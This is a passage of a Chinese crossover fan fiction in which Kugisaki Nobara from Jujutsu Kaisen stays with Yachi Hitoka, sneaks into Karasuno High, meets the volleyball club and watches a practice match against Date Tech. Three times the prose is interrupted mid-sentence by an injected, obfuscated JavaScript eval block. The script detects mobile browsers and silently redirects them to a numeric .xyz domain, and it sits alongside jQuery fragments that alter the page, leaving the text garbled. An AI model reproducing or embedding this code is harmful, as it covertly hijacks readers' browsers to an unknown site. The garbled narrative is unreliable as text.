她不习惯这样突然的亲密接触，略微挣扎了一下，没想到谷地凉子抱的更紧。 “那个……谷地同学，我怎么感觉钉崎更像是凉子阿姨的亲生女儿？”翔阳小声对仁花耳语。 “啊……这个嘛……哈哈……”仁花干笑了两声。 “喂！笨蛋，你又在瞎说些什么！”影山飞雄给了他一掌。 “哎呦——但是啊——”日向翔阳吃痛，还想解释几句，仁花却微笑着接过了话头。 “我想是因为野蔷薇她，真的跟妈妈年轻的时候很像吧。倔强、桀骜不驯、坚强、自立，可是，却是那样良善又率真，温吞又真诚。” 日向翔阳跟影山飞翔面面相觑。 “哈哈哈哈哈哈……”仁花看着两人的模样，不自觉笑出眼泪：“你们能想象到吗？野蔷薇在临走之前居然还给我跟妈妈做了晚餐呢，虽然味道真的很差劲，但是该怎么形容这种感觉呢，哈哈哈哈……” 做晚餐？ 日向翔阳和影山飞雄的视线慢慢转向棕短发的女生。 对方则臭着脸，表情凶恶：“看什么看！杀了你们！” 两人一僵，浑身颤抖，头摇的像拨浪鼓。 这个暴力女做晚餐吗？ 呵呵，那还真想象不到呢。 * 翌日。 “妈妈，野蔷薇，我去学校了哦。”仁花一边道别，一边在玄关处换鞋。 “那个，仁花。”野蔷薇叫住她：“我可以跟你一起去学校看看吗？” “咦？野蔷薇，怎么突然想去我的学校啦。”仁花感到稀奇，野蔷薇很少主动跟她提要求的。 不过，乌野虽然不是管制特别严格的名校，可也并不是什么人都能随便进出的，毕竟，至少要保证学生的安全啊。 仁花若有所思地打量着野蔷薇。 她今天又穿上了初见那天蓝黑色的“校服”，锤子和钉子也好好地放置在了腰间。眉峰挑起一道锐利的弧，睫毛半垂，在眼睑投下两片刀锋般的阴影，削薄利落的发尾斜斜扫过下颌线，在灯光下泛着冷调，看起来极不好惹。 “唔，出去转转。”野蔷薇答。 顺便看看有没有什么回去的线索……她总觉得，能来到仙台，能遇到谷地仁花，一定不是毫无原因的。第一次听见“乌野”的名号是在谷地凉子口中，乌野乌野，听起来就与她气场很合。 或许，答案就在乌野？ “对哦。”谷地凉子像是灵感乍现，手掌一拍就道：“小野，要不然你也转学去乌野吧！反正短时间内你可能也无法找到家人，总不能不上学吧。” “有什么不行呢。”野蔷薇抬手拒绝，表示并不想上学。 而且……她有自己的学校的…… “叮咚——”门铃声响起。 “前辈，抱歉我来迟了。” 门口是谷地凉子的同事后辈，名叫石川的。戴着黑框眼镜穿着深色西装，总是留着络腮胡，笑的得体和善，看起来很是老实憨厚。 野蔷薇不愿意，凉子也不勉强。四人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112068|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在门口道别，就两两离开了。 “前辈，那女孩儿要在你家待多久啊？”石川好奇地问。 “不知道。”谷地凉子默了默：“也许会是蛮长的一段时间，也许，是永远。” 那日从涩谷回到仙台之后，凉子很快就拨打了伊藤警官的电话。关于钉崎野蔷薇的去留问题，两人聊了很久。 “抱歉，谷地女士，那条小巷的监控因为下雨的原因恰好损坏了，我们查遍了附近所有路、道、巷的摄像头，都没有发现钉崎野蔷薇出现在那里的痕迹……另外，已经过去一周多了，我们也没有接到任何符合条件失踪少女的报案……” “我明白了伊藤警官。”谷地凉子叹了口气：“在小野找到家之前，我会一直照顾她的。” “这个家有了新成员，仁花也会活跃一些的。”她粲然一笑。 “那么，一切都拜托你了。” “谷地女士，你的善心会有好报的。” * 晨雾未散，可阳光却刺眼的吓人。 乌野高中校门前的坡道上，三三两两的学生踩着细碎的脚步声走来，纯白色的夏季校服配上浅灰的短裙，将十五六岁的姑娘们衬托的青涩又好看。 蓝黑色的野蔷薇在灰白色中格外显眼，仁花尴尬地站在一边，苦恼着怎么让野蔷薇混进去。 直接闯进去吗？不行，教导主任可是很严格的！啊啊啊她不希望野蔷薇被骂。 换一件衣服吗，可是这临时哪里去找合身的新校服呢？ 可怜的小仁花，粉唇抿的很紧，因为紧张额头冒起了虚汗，好像随时都要晕倒在地似的。 宽厚温热的掌心忽然搭在了肩膀，仁花一愣，转头却瞧见野蔷薇一脸严肃地指了指自己，又指了指校门的后墙。 “翻、翻墙？”仁花惊掉下巴：“可、可可可可是——” “没关系，仁花你先进去，晚点我会找到你的。”野蔷薇靠谱地颔了颔首。 “哦、嗯，嗯！” 哇，野蔷薇在发光诶。仁花翘起嘴角。 时间尚早，来的早的学生要么在社团活动，要么在图书室学习，后门应当很安全。 野蔷薇这样想着，心安理得地跃上了墙头。 身为咒术师的她，除了每天练习基础术法、加强刍灵咒法的效力之外，体术的训练也是不可避免的。在高专待了这么久，她偶尔也能跟真希学姐过好几招呢，翻个墙根本不算什么。 平安落地。 身体还算轻盈，野蔷薇稍稍松了口气，虽然咒力消失了，还好身法还是在的，她骄傲地摸了摸鼻子。 “好痛！”角落传来不轻不重的一声痛呼。 侧目而望，哦，原来腰间的锤子没系牢，不小心飞了出去，然后华丽丽地砸到了人…… 少年体态挺拔，身型修长有力，一头银灰色的短发在晨风里轻微地舞动着。转过身来，能迎着光看见他圆圆的杏眼中镶嵌着柔和的浅褐色瞳孔，左眼下的泪痣给人一种温柔又无辜的感觉。 野蔷薇一时有点看呆。 5. 第5章 菅原孝支已经高三了，虽说排球部的队内训练很重要，可学习也同样不能落下。这个地方是他一贯晨读的宝地，没什么人经过，也还算安静，除了偶尔传来令人安心的击球声外，没有什么嘈杂的响动。每天早晨去排球馆之前，他都要来这里看一会儿书。 可哪知今天，他就遇上了一个可爱的意外。 脑袋真的蛮痛的，可比起“凶器”是一把印着爱心的锤子之外，更令他感到吃惊的是眼前陌生的棕短发少女。 对方愣愣地盯着自己看，不知道是不是被吓傻了。 不认识的校服，是外校偷偷溜进来的学生吗？ 菅原孝支是个善解人意的人，他不关心这个女生为什么要翻进乌野，也不希望看到她愧疚的道歉和眼泪，于是，在野蔷薇开口前他赶忙说：“啊，那个，抱歉，我不该站在这里挡道的。” 言下之意是，你不用因为觉得伤害到我而感到不好意思。 钉崎野蔷薇回过神来，却是神色淡定地捡起自己的锤子，大言不惭道：“对嘛，你知道就好。” “……” 原来这孩子是对方给台阶下，她反倒会拾级而上的类型吗？ 哈哈，好吧。菅原尴尬地摸了摸后脑勺。 野蔷薇拍了拍裙子上的灰，见菅原孝支仍是站在那里，有点儿疑心对方想要碰瓷。她掂量了几下锤子，拿不准这副咒具对普通人来说威力如何，只是她自己倒觉得很轻巧的。 “我看看你的头。”她这样说着，也不管菅原的意愿如何，大刺刺地走上前去摸他的后脑勺。 “啊啊……不用了……我真的没事！” “别动！我说我看看！！！”她不耐烦地蹙着眉，踮起脚尖将菅原的后颈扒拉下来，两人姿势略显暧昧。 嘶，好凶。菅原孝支不敢动了。 银灰色的发尾在颈后翘起，被砸到的地方摸起来有一些肿，不过好在没有伤口，也没有流血，看起来似乎真的没什么事，野蔷薇这才放心地推开他，妥帖地收好咒具。 她环顾四周，忽然没头没脑地问：“你认不认识一年级的谷地仁花？” “诶？”菅原一愣，原来是来找谷地同学的吗？ 他刚要开口回答，排球馆的方向已经传来一道粗声粗气、干劲十足的呼喊：“菅原学长！！！接发球训练开始了！！！快来快来！！！今天轮到你跟我一组！！！” “来了。”菅原高声应和。 他慢条斯理地将书本收好，转头对野蔷薇说：“既然是谷地同学的朋友，那就跟我一起来吧。” 微笑着的脸庞干净又清爽，即使是带了点慌乱的小跑动作，也能被他做的好看。 两人走到排球室门前，菅原孝支道：“对了，排球室一般是不让非社团成员随意进入的，更何况你还是外校的学生，所以待会儿，我去帮你把谷地同学叫出来，你就在这里稍等一会儿好……吗……诶？人呢？” 话说到一半，身旁已没了蓝黑色的倩影。再转眸望去，不知何时，野蔷薇已经探头探脑地走进了排球馆，还很有礼貌地脱掉了鞋。 “打扰了。”她悠哉悠哉地问好。 一个陌生人突然闯入，馆内的视线像定位器一样齐刷刷射了过来。 “嗯？”乌养系心挠挠头:“喂喂喂，这是谁的女朋友啊！不知道排球馆在训练中是不能随便进出的吗，给我领走啊喂！” “诶？” “诶？？” “诶？？？” “可恶啊啊啊啊啊阿谷！到底是哪个可恶的臭小子竟然背着我们谈了甜甜的恋爱，还是这么可爱的女孩子啊啊啊啊啊！”一个光头率先愤怒地叫起来。 被唤作“阿谷”的矮个子队员已经气到口吐白沫，身旁的队员正一脸严肃地给他做急救措施。 “快、快来人！西谷好像要不行了！”长发留胡子的大汉抖得像筛糠，泪花也乍然泛了出来，跟他高大威猛的形象完全不符。 “哈哈哈哈鬼哭狼嚎。”戴眼镜的黄发大高个一脸揶揄，笑得最欢。 “咦？野蔷薇，你真的进来啦！好快的耶！”仁花收拾完散落在地的排球，这才看见钉崎野蔷薇已经找过来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112069|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她迈着小碎步朝她奔过去，脑门上的小辫子一蹦一蹦的。“对不起啊乌养教练，这个是我的朋友，她叫做钉崎野蔷薇。” 日向翔阳也看见野蔷薇了:“哦～是暴——是……钉崎啊哈哈，哈哈，哈哈哈……” 一个刀子眼扫过，翔阳紧急撤回一个“暴力女”。 “喂日向，你认识她吗？”田中龙之介小声打听。他眼珠子一转，不知想到了什么，忽然叫嚷起来：“不会吧！难道是你小子的女朋友吗？？？！” “诶诶诶诶！当然不是啊！”日向翔阳吓了一跳，连连否认：“怎么可能嘛！” “好像是谷地同学母亲朋友的女儿吧，暂时寄住在他们家。”影山飞雄抱着球走过来：“也可能是某个远房亲戚。” “反正她肯定不是打排球的。”他打着哈欠补充。 “哎呀哎呀，单细胞生物真可怕，脑子里只有排球～” “你说什么，混蛋月岛！”影山飞雄咬牙切齿。 …… 排球馆内因为钉崎野蔷薇的出现而躁动难平，乌养系心上下打量着她，为难道：“那个，你是附近哪个学校的啊，如果没什么事的话，请不要打扰我们训练了。” “清水，刚刚轮到谁了？”他问。 戴眼镜的黑长发美人轻轻撩了撩碎发，镜片后的双眸沉静而清澈，薄唇轻轻抿了抿，修长的指节在记录册上略微翻了翻，温声说:“下一个，击球练习，从队长开始。” 野蔷薇侧眸望了她一眼，没什么表情。 “啊啊啊对不起教练！我马上带她出去！”仁花大大地鞠了一百八十度的躬，刘海落在光滑的鞋面上，看起来有点滑稽。 她半推半拉地将野蔷薇带到了球馆门前，刚打算开口说些什么，野蔷薇却神色严肃地打断了她。 “那么柔顺的头发是天生的吗？不不不，应该是美发店的杰作吧。还有嘴角那颗痣，好性感，我要不也去点一颗？”少女单手叉腰，另一只手灵活地掏出手机:“仁花，把那个美人的电话号码给我。” “……” 6. 第6章 馆内训练需要人手，清水洁子柔声呼唤：“仁花，你可以帮我给另一组抛一下球吗？” “啊，马上就来！”仁花积极地应道。 她的眸子亮得像钻石，稚嫩的脸庞上难得出现了除去青涩的安静之外，期待又跃跃欲试的神色。 排球而已，有这种魔力？或者说，有魔力不是排球，是其他东西？ “抱歉啊野蔷薇，我也是刚刚加入男子排球部不久，不过，我已经决定要跟大家共进退了。部员们为了春高，每天都练习得很刻苦，我没办法切实地帮助到他们什么，只能做好辅助工作啦。日向说，只要打败了青叶城西，打败了白鸟泽，我们啊，就可以去东京体育馆哦！！！” 不自觉提高的音量、上扬的嘴角，湿润发亮的眼睛和小幅度的踮脚，完全能让人明白谷地仁花说这些话时的心情。这让野蔷薇又再次不自觉地想起虎杖悠仁，似乎在某一个平静的下午，他在说到电影《蚯蚓人4》的时候，也是这样一副表情。 不过，她还是接受不了蚯蚓人哈，太恶心了。野蔷薇在心里打了个大大的叉。 不过，等一下，仁花刚刚说什么？ “……只要……就可以去……东京体育馆哦！” “东京体育馆哦……” “东京哦……” 东、京、吗？？？ “仁花——” “oi～排球部啊，春高晋级赛准备的怎么样了？” 野蔷薇刚要开口仔细问问东京的事情，身后却忽然传来了一道慵懒厚重的声音。 走廊还算是比较长，教导主任用两手沾了点口水，细心地按压了几把脑门上的假发，这才晃晃悠悠地朝排球馆的方向走来。 “完蛋啦！是教导……老师！”仁花吓得差点咬到舌头。无处可躲，她只得再次将野蔷薇拉进馆内，毕竟这蓝黑色的校服和桀骜不驯的打扮实在是过于惹眼。 野蔷薇从未见过谷地仁花的动作能如此迅速，转眼间她就被推搡着藏进了杂物间。刚刚还大声嚷嚷的光头，此刻也是神色严肃地冲她比了个“嘘”的动作。 全员正襟危……站。 杂物间门的夹缝中，野蔷薇看见一个貌似是队长的部员走上前去，率先开口：“大家最近都很努力，我们排球部有信心在春高中重新崭露头角，让‘没落的强豪’、‘飞不起来的乌鸦’这种绰号在宫城县内粉碎！” 他的身躯坚实有力，虽然不是一众队员中个子最高的，也不是块头最大的，可莫名其妙的，好像只要他站在那里，他说出口的所有承诺都一定可以得到兑现，靠谱又忠诚。 明明天差地别，可在他的身上，野蔷薇居然看到一点七海建人的影子。 教导主任不懂排球，也不认为乌野这种各方各面都平庸的学校能在全国有什么不一样的建树。几年前，乌鸦也许飞起来过，但是现在，是白鹭的时代。 他没耐心听泽村大地的豪言壮语，神色淡漠随意，厚厚的嘴唇一张一合，就给这群少年泼了一桶大大的凉水：“我听武田老师说了，你们要东京……东京远征是吧？” “不行呦，你们排球部里有很多差生吧，期末考试不及格的话，周末和暑假都要补习哦。东京远征什么的，都是痴人说梦吧。” “诶！？”日向翔阳最先憋不住气：“差、差生？哪里有差生啊！” 众人无言地望着他，心想：“成绩最差的就是你吧，日向。” 影山飞雄也急切地说：“对啊！我们的成绩真的不差的主任，期末考试……期末考试……多、多少分及格来着？！” “你也不遑多让啊，影山……”大家彻底没招了。 “别这样啊主任，您想想，排球部要是能打进全国，也是给我们乌野高中争光啊。”乌养系心尝试说情，不过他只是个还没做出成绩的教练，自然是没什么权利对学校的安排多嘴，毕竟学生最重要的事情当然还是学习嘛。 教导主任果然没搭理他，两眼一眯，忽然指着日向和影山二人：“就是你们两个吧，开学第一天就把我的……” 他喉头一哽，将“假发”二字吞进肚子里，煞有介事地咳嗽两声，一边理了理脖颈处的领带，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112070|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边极为不屑道：“我看你们两个应该不是打排球的料，居然还没有退部吗？” “！！！” 这话谁能受得了。 “影山，今天下午放学有外校来打友谊赛，没错吧？”日向翔阳活动着关节。 “是啊，看我们怎么把他们打趴下！”影山露出标志邪笑。 “没错翔阳、影山！就是应该这样才对啊！”额前挑染黄毛的队员，四肢一伸就跳了起来。 野蔷薇看见他衬衣上“大器晚成”的四个花哨字体，眉头越皱越紧。 泽村大地站在两人面前，屈身对教导主任行了礼：“老师，今天下午请来看我们比赛吧，我向您保证，这两位绝对是乌野男子排球部最令人意想不到、最能出奇制胜的一对完美组合！” 上课铃声随之响起，热烈的太阳也缓缓照射进馆内，所有人的背影都蒙上一层金灿灿的光辉，似乎在引领他们，走上一条闪耀无比的站在金色塔尖的未来。 “田中，把照明灯关了。”泽村大地黑着脸说：“我看不清了。” “……收到……” …… 钉崎野蔷薇出去的时候，教导主任已经走了，上课时间也到了，球馆里冷冷清清。 她在各个楼层漫无目的地闲逛着，也不管路上有多少学生对她频频投来稀奇又惊讶的眼神，只是左顾右盼地寻找着学生处。 谷地仁花正在帮老师搬运资料，老远就瞅见一抹黑色在走廊里穿梭，她瞪大了眼睛跑过去：“野、野蔷薇！” “你你你你还没有离开吗？”她压低声音，手抖得不行：“小心哪，这里可是教学楼，很容易撞上教导主任的……而且……” 周围看热闹的人越围越多，连清水洁子路过，也难得对与她无关的事情侧目。 仁花说了些什么，钉崎野蔷薇已经听不进去了，她只是很有气势地站在那里，两手搭在她瘦弱的肩膀上，语气阴沉：“仁花呀，转学来乌野，加入排球部，就可以不用花钱免费去东京，这样的好事，你怎么不早告诉我呢？” “诶？” 7. 第7章 “嘟……” “嘟……” “嘟……” “您好？” “啊，您好，是谷地凉子女士吧，谷地仁花同学的母亲？那个，我是乌野高中的教导主任井上……” 井上三郎的话音未落，凉子便焦急地问：“怎么了老师！是仁花出什么事情了吗？” 喔呀，不愧是仁花啊！野蔷薇对她刮目相看了。毕竟，自己以前在村子里上学的时候，如果家里人接到学校的电话，第一句一定是问：“怎么了老师！是野蔷薇又闯祸了吗？” 电话那头，凉子是真的有点害怕了。这是谷地仁花上了高中这么久以来，她第一次接到学校老师的电话。仁花性格安静乖巧、成绩优异，虽说偶尔总会缺乏一点勇气和毅力，可是在学业上从未荒废过，也从来不会主动给她惹事。不过，说实在的，有时候她倒是希望仁花可以不要这么乖巧。 “额不是的，哈哈哈。”井上三郎干笑了两声：“这里有一位……额……钉崎野蔷薇同学，目前是您在监护，对吗？” “诶？倒是没错啦，只是小野她……现在在老师您身边吗？”凉子惊呼出声。这孩子，不是说不愿意转学的吗？怎么就主动找上了乌野的教导主任呢？现在的女孩子都是这种类型吗……傲娇款的…… 井上三郎为难地撇了撇一旁主人一样坐着喝茶的野蔷薇，又补充道：“谷地女士，虽说乌野确实还有多余的入校名额，只是再怎么说，也不能让学生违反校规直接闯进来吧。” 像土匪一样…… 他从教多年，形形色色的学生见过很多了。 乖巧听话的三好学生——他最喜欢的类型。 懒惰无能的不良少年——他最讨厌的类型。 品德优良但能力有限的努力家——他最愿意培养的类型。 无恶不作且屡教不改的劣等品——他最希望远离的类型。 但是……像钉崎野蔷薇这种无知无畏、浑然天成的女痞子类型，他还是第一次遇见，这让井上三郎有点儿不知所措。这么傲气又悠然自得，如果不是呆瓜一个，那一定是在某一方面有十分过人的长处！ 他细细观察着野蔷薇，橙棕色的利落短发，眼神倨傲却明亮，额头高高宽宽的，是看起来十分聪明的长相。不得了，难道是什么大城市来的天才一类？她穿着短裙坐在沙发上却毫无顾忌地翘起了二郎腿，腿部肌肉线条明显，井上一边嘟囔着“非礼勿视”一边心想，不对！也可能是运动方面的达人！能入选国家队的那种！ 电话那头，谷地凉子足足沉默了五秒钟，然后就是疯狂的道歉。 但此刻，教导主任井上的心情已经与刚刚有所不同了，他急切想要证明自己的猜想，于是好声好气地打断了对方诚意满满的致歉。 “我并没有责怪的意思谷地女士，我其实是想说，正好下个月就要期末考试了，趁这段时间准备一下转学的材料，然后校方会安排钉崎同学和乌野的一年级一起进行考试，在那之后就作为乌野的一员正式入学吧！” 这还是她们认识的教导主任吗？这么好说话？ 门外目睹一切的谷地仁花和清水洁子有些摸不着头脑。 “清水前辈，不好意思呀，刚刚野蔷薇她……” “啊那个啊，我听见了。”清水洁子轻轻推了推鼻梁上方的粉框眼镜：“我很欢迎她入部哦。” “我已经三年级了，春高之后很快就要毕业了，如果我离开了，部里只有你一个人，我会担心你受这群臭小子的欺负的。” “……” 仁花立刻化身蛋花眼，两串豆大的眼泪噼里啪啦地向下滚落：“呜呜呜呜呜呜呜学姐！！！！！”她发誓她将永远做清水前辈的超级无敌死忠粉。 洁子抿唇一笑，温暖的掌心在她毛茸茸的发顶亲昵地揉了揉。 * 大巴停在乌野的校门口。一群“巨人”浩浩荡荡走了下来。 “诶？好高好高！他们是……” “不知道呢，总之，还是躲着点吧。” “啊，快看那个校服！好像是——伊达工业！” “喔~这就是乌野啊，我还是第一次来呢。”二口坚治撅着嘴：“切，看起来也不怎么样嘛，你说呢青根。” 被叫到名字的大块头眉头紧锁，抬眼望了望夕阳下教学楼墙壁上“宫城县立乌野高等学校”几个大字，并不搭理他。 队长茂庭要小声斥责：“喂二口！不要在别人的学校门前说这种话，太没有礼貌啦！！” “是~”二口一边往里走，一边漫不经心地回答，显然是并没有将这话听进耳朵里。 “真是的！”茂庭要大叹一声：“青根你也说说他嘛。” 要是这话被乌野的人听见，还以为伊达工业的人都是这样轻浮无礼的孩子呢。茂庭要默默流汗，他转身对队中几个一年级使着眼色，意思是：以后，绝对不要成为二口这种前辈啊！ “嗯！”青根高伸稳重地点了点头，随即在二口坚治的后背用力一拍。 “啪叽”一声，二口嚎叫起来。 “……” 排球馆内。 清水洁子和谷地仁花已经在准备友谊赛所需的椅子、记分板等用具，考虑到教导主任可能会带着钉崎野蔷薇来，两人又加了两张椅子。 热身时，日向翔阳连续跳了好几下，确保自己今日状态满分。 “喂！影山！今天可千万不能掉链子啊。”他语气沉重，将手机掏出来递过去：“快看研磨的短信，音驹已经通过了春高第一轮预选哦！” “什么？”东峰旭探出头来看了两眼，毫不意外：“噢——不愧是音驹啊。” “啊啊啊啊啊啊燃起来了，龙！”西谷夕斗志满满：“必须去东京跟音驹一战才行啊！” “嘶，我等不及了！虎也一定在等着我们啊！”田中握紧双拳，开始幻想与山本猛虎相拥而泣的画面。 “啊，日向小心！！！快看球！”网的对面，山口忠发了一记球，直直朝日向袭来。 “哦！”日向舔了舔唇，一个大迈步将球垫去了二传的位置。 影山扬了扬眉，精准无误地给东峰旭抛了一个他最擅长的、高一点的、离网稍远些的球。 “砰！”东峰旭大力扣杀，直接冲破了月岛萤的单人拦网。 “诶~日向进步很多嘛最近。”在一旁观察的缘下力感慨地说：“之前遇到这种突如其来的球，他都是像呆子一样一动不动的呢。” “哈哈哈。”菅原孝支眯着眼睛笑起来：“不止日向，影山、月岛、山口，咱们的小乌鸦们都在慢慢长大哦，总有一天……总有一天，他们能让乌野再次踏上那个舞台……” “阿菅，不要说他们，要说‘我们’。”泽村大地咧开嘴角，有力的大掌亲厚地按在菅原孝支的左肩上。 “排球部，比赛开始了吗？”井上三郎走了进来，身后站着指导老师武田一铁和左顾右盼的钉崎野蔷薇。 武田一铁道：“对方已经到了，主任，我们先就坐吧。” 正在热身的日向翔阳看到这一幕有点不解：“怎么回事啊谷地同学，这个暴力女怎么跟教导主任在一起？”他一边偷瞄野蔷薇，一边悄声向谷地仁花问询。 “哦那个啊……”仁花有点害羞地挠了挠后脑勺：“具体情况我也不是特别清楚，不过我想很快，咱们排球部又会多一位经理了哦。所以啊日向，好好表现，跟野蔷薇好好相处，别再叫她暴力女了哈哈。” “诶诶诶——” 三、三位经理吗！！！那岂不是——超超超超超超超超超豪门待遇！！！！！ 翔阳秒变金灿灿闪亮亮星星眼。 “为什么突然那么恶心地看着我……”察觉到炙热视线，野蔷薇面露嫌弃。 “打扰了！” “请多指教！” “啊，来了。”泽村大地高声道：“集合，列队！” 两支队伍列队，互相鞠躬致意。 “又见面了。”茂庭要友好地朝泽村大地伸出手：“上次IH输给乌野之后，我们队的小子都一直嚷嚷着要再跟乌野讨教呢。” “谢谢你们的到来，不过，我们这次也不会输的。”泽村目光坚定地握住他的手。 即使已经打破那扇“铁壁”，可是再次见到青根高伸，东峰旭还是不免犯怵，更何况对方眼神实在是凶恶，他真是半点也顶不住啊…… 虽然个头高大，动作却又快又灵活，拦网扣球也总是狠厉，确实是一个很强大的敌人。 总教练追分拓朗也与乌养系心和武田一铁一一握了手，真诚地说：“IH一战后，很期待再次领教乌野的招数。” “不会让你们失望的，嗯！” 看着对面一整排的大高个，只有日向翔阳表情为难，他戳了戳身边的月岛萤：“喂月岛，怎么回事？没人跟我说过练习赛是跟伊达工业打啊。” “哈？”月岛萤瞪着他：“教练早就说过了好吧。你不会是——害怕了?” “我、我才没有呢！”翔阳很没有底气地反驳。 比赛正式开始。井上三郎领着钉崎野蔷薇坐在观众席下，双手环胸地想了想，提出跟钉崎野蔷薇换个位置。他现在坐在最边缘的区域，很容易再次被“流弹”误伤！上次只有排球部这几个臭小子在场，这次伊达工业也在，要是再出了差错，那他就可以不用在宫城县教育界混了。 可野蔷薇丝毫没有惯着他：“额——我不换，要是被球砸到怎么办。” “……” 算了，他能说什么呢。 * 第一局，伊达工业胜了。 青根高伸盯上了日向翔阳，以往他的目光总是紧紧粘在王牌身上，可自从全国高中联赛失败而归之后，他总会梦见一只黑色的鸟儿，从远处的山谷处冲上云霄，将他狠狠甩在脑后。 他是个不怎么会表达的人，他知道三年级的前辈们在犹豫要不要留下，他想用行动告诉他们，只要有他在，伊达工业就还能在宫城县占有一席之地！ 中场休息，乌养系心摸着下巴对众人说：“看来伊达工业回去之后， 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第二局由日向翔阳牵制几个拦网的副攻，其他队员出奇制胜，乘胜追击，乌野以一分之差获胜。 第三局前半场伊达工业处于领先，后半场乌野发力，最终以乌野王牌东峰旭的强力扣球结束比赛。 最终比赛结局2－1，乌野胜。 完全没想到日向翔阳这个小个子居然是排球部的正式队员，而且还在队内发挥着不可替代的作用，明明有个子更高大的人选，可还是让他上了场，可见他确实有不一样的地方。 “怎么样怎么样？暴力……额……钉崎同学，你看到我们的比赛了吧！你也来做社团经理吧！哈哈哈哈！” 明明刚刚进行过剧烈运动，可日向翔阳还是满脸朝气，半分疲惫不见，眯着眼睛傻笑的样子真的很难让人开口拒绝，更何况，野蔷薇本来也没想着拒绝。 于是她矜持地说：“我考虑一下。” 约等于同意。 井上三郎笑逐颜开地送走了伊达工业。还好还好，在自家的排球馆里，要是输球了他会觉得很难堪的。 “咳咳咳。”他咳嗽两声，清了清嗓子。 差生四人组立刻望着他。 “那么，春高加油。”井上三郎简短地说。 “那，期末考试——”西谷夕动了动爪子。 “不及格的话是不是就——”田中龙之介循循善诱。 “不用补习啦？？？”影山飞雄和日向翔阳期待地张大嘴巴。 “怎么可能。” 怎么可能……怎么可能……怎么可能…… 怎、么、可、能！ 四个大字哐嘡一声砸在四人头上。 “可是，我们练习赛明明就赢了呀教导！老师！”翔阳还不死心。 “所以呢？”井上三郎不耐烦地摆摆脑袋：“我可没答应你们赢了比赛就可以免去补考和补习呦。” 他背着手走出门去，只留下一句：“好好准备期末考试。”然后便消失在暮色中。 晴天霹雳。 心如死灰。 四人毫无声息，像四尊一碰即碎的雕塑。 * 回校的大巴上，车内安静异常。 茂庭要打破沉默：“三年级不会留到春高了，你们要一雪前耻啊。” 镰先靖志也道：“不过你们应该早就知道了吧哈哈。二口，青根，这群一年级以后就交给你们了。” “为什么，学长。”二口难得声音低落：“春高，说好了要一起去的啊，只要我们努力的话——” “别说了。”青根打断他。 “可是青根——”二口坚治还想争取，可回眸一瞧，青根高伸已经是满眼的泪水了。 他死死咬着下唇不让自己哭出声来，可耐不住泪水还是哗啦哗啦地落满脸颊。几个一年级也忍不住哭起来，小小的车厢里瞬间充满了此起彼伏的啜泣声。 二口第一次看见这样的青根。 茂庭要、镰先靖志几人这一届的高三早便被人说过能力不足，还是早点退出算了，也算是不影响后辈。尽管他们队内从未这样想过，可IH的失败依然是个铁打不动的事实。 “别这样青根，振作起来，你是前辈，你应该强大又可靠，好好做好后辈们的榜样才是啊！”茂庭要也有些哽咽：“这场练习赛虽然输了，可是我已经看见你的决心和勇气了，只要有你和二口在，伊达的铁壁就永远不会落幕，对吗？” 青根高伸抬起头，对上队长猩红的双眼，他郑重地点点头，缓慢地举起手，与茂庭要牢牢交握。 两人在泪花中绽放出灿烂的笑容。 在这个世界上，总有弱者和强者之分。弱者曾经也是强者，强者终有一日也会遇到更强者，从而变成弱者。可是即使这样，就能成为不穿越黑暗、不踏破荆棘的理由吗？ 不能。 所以少年们抹抹眼泪，继续上路了。 8.第8章 “那么，钉崎同学，请进吧。” 班主任日奈森老师面带微笑，轻轻鼓了鼓掌，将学生们的注意力吸引到讲台前。 教室里顿时嘈杂起来。 “诶诶诶骗人的吧！这都快放暑假了，偏偏有人在这个时候转学？？？” “什么来头啊……难道是某个官员的孩子，又或是……” “不不不，官员的孩子不会来仙台这种地方吧！话说……政界、影视界或者体育界有姓钉崎的大人物吗！” “嘘来了来了——” 万众瞩目下，最先踏进教室的是一条长而笔直的腿，灰色的校服裙搭配黑色的裤袜，将她的身形拉的纤细优美。 “哇！”男生们的兴奋之情难以压抑。 女生们也好奇地眨巴着眼睛。 邻座戴眼镜的铃木疯狂扯动着日向翔阳的肩膀：“喂喂日向！别睡了！我们班好像转来一个很可爱的女孩子哦。” 翔阳正流着口水昏昏欲睡，甚至做了个小小的夺冠的美梦。猛然被推醒，他仍是睡眼惺忪。 一年一组的教室门曾经坏过一次，在那之后，开门时须得用巧劲儿轻轻提上一把，否则就会在中途卡住。野蔷薇开到一半，门果然被夹缝的凹槽卡住了。她神色不悦，决定“大力出奇迹”。 “唰！” “咔！” “……” “轰！！！” “啊啊啊怎么啦怎么啦怎么啦！地震了吗？？？”翔阳这下清醒了，在座位上一蹦三尺高。 